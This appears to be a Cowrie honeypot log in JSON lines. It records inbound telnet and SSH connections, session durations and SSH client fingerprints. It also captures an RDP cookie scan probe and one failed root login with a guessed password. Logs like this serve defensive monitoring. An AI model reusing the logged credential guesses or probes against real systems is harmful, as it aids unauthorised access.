{"eventid":"cowrie.session.connect","src_ip":"170.78.211.149","src_port":60226,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1bc47c8db61","protocol":"telnet","message":"New connection: 170.78.211.149:60226 (10.17.0.5:23) [session: f1bc47c8db61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:40.726589Z"}
{"eventid":"cowrie.session.closed","duration":43.30753564834595,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:45.060775Z","src_ip":"185.26.126.47","session":"02add743f5a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60436,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b0178b5fb82","protocol":"telnet","message":"New connection: 185.26.126.47:60436 (159.203.135.109:23) [session: 6b0178b5fb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:18:57.263727Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":44794,"dst_ip":"10.17.0.5","dst_port":23,"session":"045f297109c6","protocol":"telnet","message":"New connection: 103.115.172.252:44794 (10.17.0.5:23) [session: 045f297109c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:19:03.044758Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":52498,"dst_ip":"10.17.0.5","dst_port":23,"session":"6134124d09ab","protocol":"telnet","message":"New connection: 45.63.42.31:52498 (10.17.0.5:23) [session: 6134124d09ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:19:09.194088Z"}
{"eventid":"cowrie.session.closed","duration":12.121358156204224,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:19:09.384963Z","src_ip":"185.26.126.47","session":"6b0178b5fb82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44774,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ede26391c5","protocol":"telnet","message":"New connection: 45.63.42.31:44774 (10.17.0.5:23) [session: 34ede26391c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:19:19.410823Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":47664,"dst_ip":"10.17.0.5","dst_port":23,"session":"7950e84b584a","protocol":"telnet","message":"New connection: 45.63.42.31:47664 (10.17.0.5:23) [session: 7950e84b584a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:19:37.803161Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54958,"dst_ip":"10.17.0.5","dst_port":23,"session":"5853b0ff6d09","protocol":"telnet","message":"New connection: 45.63.42.31:54958 (10.17.0.5:23) [session: 5853b0ff6d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:19:39.418719Z"}
{"eventid":"cowrie.session.closed","duration":37.60580015182495,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:19:40.650432Z","src_ip":"103.115.172.252","session":"045f297109c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.447312116622925,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:19:47.641280Z","src_ip":"45.63.42.31","session":"6134124d09ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81804323196411,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:19:55.228758Z","src_ip":"45.63.42.31","session":"34ede26391c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39466,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4fd9b71df3","protocol":"telnet","message":"New connection: 103.115.172.252:39466 (10.17.0.5:23) [session: fe4fd9b71df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:05.250966Z"}
{"eventid":"cowrie.session.closed","duration":35.52246928215027,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:13.325510Z","src_ip":"45.63.42.31","session":"7950e84b584a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3774893aeef7","protocol":"telnet","message":"New connection: 45.63.42.31:38326 (10.17.0.5:23) [session: 3774893aeef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:14.784487Z"}
{"eventid":"cowrie.session.closed","duration":36.30675792694092,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:15.725366Z","src_ip":"45.63.42.31","session":"5853b0ff6d09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":58868,"dst_ip":"10.17.0.5","dst_port":22,"session":"1686249f513d","protocol":"ssh","message":"New connection: 103.149.252.223:58868 (10.17.0.5:22) [session: 1686249f513d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:16.480910Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:16.491547Z","src_ip":"103.149.252.223","session":"1686249f513d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:16.502084Z","src_ip":"103.149.252.223","session":"1686249f513d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":51462,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3f4ef31426e","protocol":"telnet","message":"New connection: 45.63.42.31:51462 (10.17.0.5:23) [session: f3f4ef31426e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:36.234980Z"}
{"eventid":"cowrie.session.closed","duration":120.00133991241455,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:37.158188Z","src_ip":"170.78.211.149","session":"cf78d21a9cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.211.149","src_port":39806,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf3ccafe4b27","protocol":"telnet","message":"New connection: 170.78.211.149:39806 (10.17.0.5:23) [session: bf3ccafe4b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:38.442273Z"}
{"eventid":"cowrie.session.closed","duration":120.0015504360199,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:40.728014Z","src_ip":"170.78.211.149","session":"f1bc47c8db61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2703742980957,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:41.521217Z","src_ip":"103.115.172.252","session":"fe4fd9b71df3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.211.149","src_port":39946,"dst_ip":"10.17.0.5","dst_port":23,"session":"82cb67035cdb","protocol":"telnet","message":"New connection: 170.78.211.149:39946 (10.17.0.5:23) [session: 82cb67035cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:42.673710Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.211.131","src_port":40056,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d8c12d1a5f5","protocol":"telnet","message":"New connection: 170.78.211.131:40056 (10.17.0.5:23) [session: 6d8c12d1a5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:46.614988Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.78.211.145","src_port":40246,"dst_ip":"10.17.0.5","dst_port":23,"session":"5513a10afb65","protocol":"telnet","message":"New connection: 170.78.211.145:40246 (10.17.0.5:23) [session: 5513a10afb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:47.211381Z"}
{"eventid":"cowrie.session.closed","duration":36.06919765472412,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:50.853559Z","src_ip":"45.63.42.31","session":"3774893aeef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":60370,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d694562d0f8","protocol":"telnet","message":"New connection: 103.115.172.252:60370 (10.17.0.5:23) [session: 8d694562d0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:20:59.175527Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59400,"dst_ip":"10.17.0.5","dst_port":23,"session":"11ea91e75bad","protocol":"telnet","message":"New connection: 45.63.42.31:59400 (10.17.0.5:23) [session: 11ea91e75bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:21:09.730662Z"}
{"eventid":"cowrie.session.closed","duration":36.93065166473389,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:21:13.165527Z","src_ip":"45.63.42.31","session":"f3f4ef31426e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53126,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab6b39ea272","protocol":"telnet","message":"New connection: 45.63.42.31:53126 (10.17.0.5:23) [session: cab6b39ea272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:21:20.213131Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":57122,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18099a6488c","protocol":"telnet","message":"New connection: 45.63.42.31:57122 (10.17.0.5:23) [session: a18099a6488c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:21:23.269959Z"}
{"eventid":"cowrie.session.closed","duration":37.90307092666626,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:21:37.078499Z","src_ip":"103.115.172.252","session":"8d694562d0f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.92005181312561,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:21:45.650577Z","src_ip":"45.63.42.31","session":"11ea91e75bad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.17001390457153,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:21:56.382969Z","src_ip":"45.63.42.31","session":"cab6b39ea272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73995089530945,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:00.009815Z","src_ip":"45.63.42.31","session":"a18099a6488c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":50116,"dst_ip":"159.203.135.109","dst_port":22,"session":"997144514180","protocol":"ssh","message":"New connection: 194.59.206.2:50116 (159.203.135.109:22) [session: 997144514180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:10.082451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:10.088116Z","src_ip":"194.59.206.2","session":"997144514180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:10.178937Z","src_ip":"194.59.206.2","session":"997144514180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:10.349547Z","src_ip":"194.59.206.2","session":"997144514180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00165176391602,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:38.443763Z","src_ip":"170.78.211.149","session":"bf3ccafe4b27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35608,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe65d6bcfae4","protocol":"telnet","message":"New connection: 45.63.42.31:35608 (10.17.0.5:23) [session: fe65d6bcfae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:38.989341Z"}
{"eventid":"cowrie.session.closed","duration":120.0016839504242,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:42.675267Z","src_ip":"170.78.211.149","session":"82cb67035cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0011305809021,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:46.615961Z","src_ip":"170.78.211.131","session":"6d8c12d1a5f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00185704231262,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:47.213116Z","src_ip":"170.78.211.145","session":"5513a10afb65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":52882,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa4512a390ff","protocol":"telnet","message":"New connection: 103.115.172.252:52882 (10.17.0.5:23) [session: aa4512a390ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:22:52.079741Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35978,"dst_ip":"10.17.0.5","dst_port":23,"session":"98505f3bed8f","protocol":"telnet","message":"New connection: 45.63.42.31:35978 (10.17.0.5:23) [session: 98505f3bed8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:09.152967Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33490,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c45dd550e2e","protocol":"telnet","message":"New connection: 103.115.172.252:33490 (10.17.0.5:23) [session: 4c45dd550e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:10.132255Z"}
{"eventid":"cowrie.session.closed","duration":34.34868049621582,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:13.337902Z","src_ip":"45.63.42.31","session":"fe65d6bcfae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":37280,"dst_ip":"10.17.0.5","dst_port":23,"session":"61d7eb201a2e","protocol":"telnet","message":"New connection: 103.115.172.252:37280 (10.17.0.5:23) [session: 61d7eb201a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:20.529269Z"}
{"eventid":"cowrie.session.closed","duration":41.34864854812622,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:33.428278Z","src_ip":"103.115.172.252","session":"aa4512a390ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":28258,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dccfe5bc63d","protocol":"ssh","message":"New connection: 141.11.21.145:28258 (159.203.135.109:22) [session: 8dccfe5bc63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:36.221556Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:36.303168Z","src_ip":"141.11.21.145","session":"8dccfe5bc63d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":28270,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fe9f04ebbd0","protocol":"ssh","message":"New connection: 141.11.21.145:28270 (159.203.135.109:22) [session: 6fe9f04ebbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:36.378810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:36.383869Z","src_ip":"141.11.21.145","session":"6fe9f04ebbd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:36.463426Z","src_ip":"141.11.21.145","session":"6fe9f04ebbd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@3000","message":"login attempt [root/root@3000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:36.767231Z","src_ip":"141.11.21.145","session":"6fe9f04ebbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:37.848878Z","src_ip":"141.11.21.145","session":"6fe9f04ebbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.42835068702698,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:45.581117Z","src_ip":"45.63.42.31","session":"98505f3bed8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":50056,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b9c0bfdef83","protocol":"telnet","message":"New connection: 103.115.172.252:50056 (10.17.0.5:23) [session: 6b9c0bfdef83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:46.289911Z"}
{"eventid":"cowrie.session.closed","duration":40.762773752212524,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:50.894920Z","src_ip":"103.115.172.252","session":"4c45dd550e2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.80040383338928,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:23:58.329558Z","src_ip":"103.115.172.252","session":"61d7eb201a2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59164,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c59fc2bf207","protocol":"telnet","message":"New connection: 45.63.42.31:59164 (10.17.0.5:23) [session: 1c59fc2bf207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:03.543905Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":47807,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ebb6c7f2800","protocol":"telnet","message":"New connection: 49.88.156.34:47807 (10.17.0.5:23) [session: 2ebb6c7f2800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:08.089861Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56442,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7b1fc19572","protocol":"telnet","message":"New connection: 45.63.42.31:56442 (10.17.0.5:23) [session: bf7b1fc19572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:15.093434Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.17.158.67","src_port":37140,"dst_ip":"10.17.0.5","dst_port":23,"session":"4700aa1ceb68","protocol":"telnet","message":"New connection: 190.17.158.67:37140 (10.17.0.5:23) [session: 4700aa1ceb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:18.091723Z"}
{"eventid":"cowrie.session.closed","duration":37.67244529724121,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:23.962255Z","src_ip":"103.115.172.252","session":"6b9c0bfdef83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":51192,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ee4911a99fb","protocol":"telnet","message":"New connection: 45.63.42.31:51192 (10.17.0.5:23) [session: 5ee4911a99fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:26.007484Z"}
{"eventid":"cowrie.session.closed","duration":27.85188364982605,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:35.941612Z","src_ip":"49.88.156.34","session":"2ebb6c7f2800","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.309364318847656,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:24:38.853119Z","src_ip":"45.63.42.31","session":"1c59fc2bf207","protocol":"telnet"}
